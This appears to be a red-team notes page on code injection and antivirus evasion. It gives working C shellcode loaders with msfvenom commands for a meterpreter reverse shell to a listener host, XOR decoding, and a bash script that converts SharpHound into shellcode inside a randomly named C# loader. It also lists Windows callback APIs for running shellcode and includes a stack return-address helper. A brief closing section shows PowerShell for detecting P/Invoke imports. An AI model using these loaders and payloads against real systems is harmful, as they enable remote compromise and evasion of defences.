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Code Injection

Shellcode as Function

Windows
Linux
loader.c
#include <stdio.h>
#include <windows.h>
​
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f raw -o met.bin --encrypt xor --encrypt-key a
// xxd -i met.bin > shellcode.h
#include "shellcode.h"
​
int main() {
DWORD lpThreadId = 0;
DWORD flOldProtect = 0;
int bufsize = sizeof(buf);
LPVOID f = VirtualAlloc(NULL, bufsize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
for (int i = 0; i < (int)bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
memcpy(f, buf, bufsize);
VirtualProtect(f, bufsize, PAGE_EXECUTE_READ, &flOldProtect);
((void(*)())f)();
//VirtualFree(f, 0, MEM_RELEASE);
WaitForSingleObject((HANDLE)-1, -1);
return 0;
}
loader.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
​
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] =
"\x31\x33\...\x33\x37";
​
int main (int argc, char **argv)
{
int bufsize = (int)sizeof(buf);
for (int i = 0; i < bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
int (*ret)() = (int(*)())buf;
ret();
}
Compile allowing execution on stack:
$ gcc -o loader loader.c -z execstack

Function Stomping / Threadless Injection

Shellcode In-Memory Fluctuation (Obfuscate and Sleep)

gargoyle

Memory Scanners

SystemFunction032 / SystemFunction033

Thread Stack Spoofing

ThreadStackSpoofer

An alternative way to get the nearest return address in current stack frame (besides _ReturnAddress and _AddressOfReturnAddress) without manually walking the stack:
retaddr.cpp
#include <intrin.h>
#include <windows.h>
#include <iostream>
#include <sstream>
#include <iomanip>
​
// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/header.h#L38-L45
template<class... Args>
void log(Args... args)
{
std::stringstream oss;
(oss << ... << args);
std::cout << oss.str() << std::endl;
}
​
// https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/main.cpp#L13-L14
void addressOfReturnAddress() {
auto pRetAddr = (PULONG_PTR)_AddressOfReturnAddress(); // https://doxygen.reactos.org/d6/d8c/intrin__ppc_8h_source.html#l00040
log("Original return address via _AddressOfReturnAddress: 0x", std::hex, std::setw(8), std::setfill('0'), *pRetAddr);
}
​
// https://stackoverflow.com/a/1334586/6253579
void rtlCaptureStackBackTrace() {
typedef USHORT(WINAPI* CaptureStackBackTraceType)(__in ULONG, __in ULONG, __out PVOID*, __out_opt PULONG);
CaptureStackBackTraceType RtlCaptureStackBackTrace = (CaptureStackBackTraceType)(GetProcAddress(LoadLibrary("ntdll.dll"), "RtlCaptureStackBackTrace"));
​
void* callers[2] = { NULL };
int count = (RtlCaptureStackBackTrace)(1, 2, callers, NULL);
log("Original return address via RtlCaptureStackBackTrace: 0x", std::hex, std::setw(8), std::setfill('0'), (DWORD64)callers[0]);
}
​
int main(int argc, char** argv)
{
addressOfReturnAddress();
rtlCaptureStackBackTrace();
return 0;
}

Hiding In PlainSight

PE to Shellcode

​Example with SharpHound.exe and donut (C# cross-compilation is done with Mono):
sweetblood.sh
RNDNAME=`curl -sL https://github.com/snovvcrash/WeaponizeKali.sh/raw/main/misc/binaries.txt | shuf -n1`
wget https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe -qO /tmp/SharpHound.exe
​
# --ldapusername snovvcrash --ldappassword Passw0rd!
~/tools/PEzor/deps/donut/donut -a2 -z2 -i /tmp/SharpHound.exe -p '--CollectionMethod All,LoggedOn --NoSaveCache --OutputDirectory C:\Windows\Tasks --ZipFilename sweetbl.zip' -o /tmp/SharpHound.bin
​
BUF=`xxd -i /tmp/SharpHound.bin | head -n-2 | tail -n+2 | tr -d ' ' | tr -d '\n'`
BUFSIZE=`xxd -i /tmp/SharpHound.bin | tail -n1 | awk '{print $5}' | tr -d ';\n'`
​
cat << EOF > "/tmp/$RNDNAME.cs"
using System;
using System.Runtime.InteropServices;
​
namespace Sh4rpH0und
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, ulong dwSize, uint flAllocationType, uint flProtect);
​
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
​
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
​
static void Main(string[] args)
{
byte[] buf = new byte[$BUFSIZE] { $BUF };
IntPtr addr = VirtualAlloc(IntPtr.Zero, (ulong)buf.Length, 0x1000, 0x40);
Marshal.Copy(buf, 0, addr, buf.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}
EOF
​
mcs -platform:x64 -t:winexe "/tmp/$RNDNAME.cs" -out:"$RNDNAME.exe"
file "$RNDNAME.exe"
rm "/tmp/SharpHound.exe" "/tmp/SharpHound.bin" "/tmp/$RNDNAME.cs"
This technique is enhanced and automated here.

PE Injection

Shellcode Execution via Callbacks

CallWindowProc
CertEnumSystemStore
CertEnumSystemStoreLocation
CopyFile2
CopyFileEx
CryptEnumOIDInfo
EnumCalendarInfo
EnumCalendarInfoEx
EnumCalendarInfoExEx
EnumChildWindows
EnumDateFormats
EnumDesktopWindows
EnumDesktops
EnumDirTree
EnumDisplayMonitors
EnumFontFamilies
EnumFontFamiliesEx
EnumFonts
EnumLanguageGroupLocales
EnumObjects
EnumPageFiles
EnumPwrSchemes
EnumResourceTypes
EnumResourceTypesEx
EnumSystemCodePages
EnumSystemGeoID
EnumSystemLanguageGroups
EnumSystemLocales
EnumSystemLocalesEx
EnumThreadWindows
EnumTimeFormats
EnumTimeFormatsEx
EnumUILanguages
EnumWindowStations
EnumWindows
EnumerateLoadedModules
EnumerateLoadedModulesEx
ImageGetDigestStream
ImmEnumInputContext
InitOnceExecuteOnce
LdrEnumerateLoadedModules
LineDDA
NotifyIpInterfaceChange
NotifyRouteChange2
NotifyTeredoPortChange
NotifyUnicastIpAddressChange
SetupCommitFileQueue
SymEnumProcesses
SymFindFileInPath
VerifierEnumerateResource

Detection

Show P/Invoke imports in a .NET assembly with System.Reflection.Metadata and PowerShell Core (stolen from 1, 2):
$assembly = "\path\to\csharp\binary.exe"
$stream = [System.IO.File]::OpenRead($assembly)
$peReader = [System.Reflection.PortableExecutable.PEReader]::new($stream, [System.Reflection.PortableExecutable.PEStreamOptions]::LeaveOpen -bor [System.Reflection.PortableExecutable.PEStreamOptions]::PrefetchMetadata)
$metadataReader = [System.Reflection.Metadata.PEReaderExtensions]::GetMetadataReader($peReader)
$assemblyDefinition = $metadataReader.GetAssemblyDefinition()
​
foreach($typeHandler in $metadataReader.TypeDefinitions) {
$typeDef = $metadataReader.GetTypeDefinition($typeHandler)
foreach($methodHandler in $typeDef.GetMethods()) {
$methodDef = $metadataReader.GetMethodDefinition($methodHandler)
​
$import = $methodDef.GetImport()
if ($import.Module.IsNil) {
continue
}
​
$dllImportFuncName = $metadataReader.GetString($import.Name)
$dllImportParameters = $import.Attributes.ToString()
$dllImportPath = $metadataReader.GetString($metadataReader.GetModuleReference($import.Module).Name)
Write-Host "$dllImportPath, $dllImportParameters`n$dllImportFuncName`n"
}
}
Another method with a PowerShell one-liner:
([System.Reflection.Assembly]::LoadFile("\path\to\csharp\binary.exe")).GetTypes() | % {$_.GetMethods([Reflection.BindingFlags]::Public -bxor [Reflection.BindingFlags]::NonPublic -bxor [Reflection.BindingFlags]::Static) | ? {$_.Attributes -band [Reflection.MethodAttributes]::PinvokeImpl}} | fl -Property Name,DeclaringType,CustomAttributes

Tools

Last modified 28d ago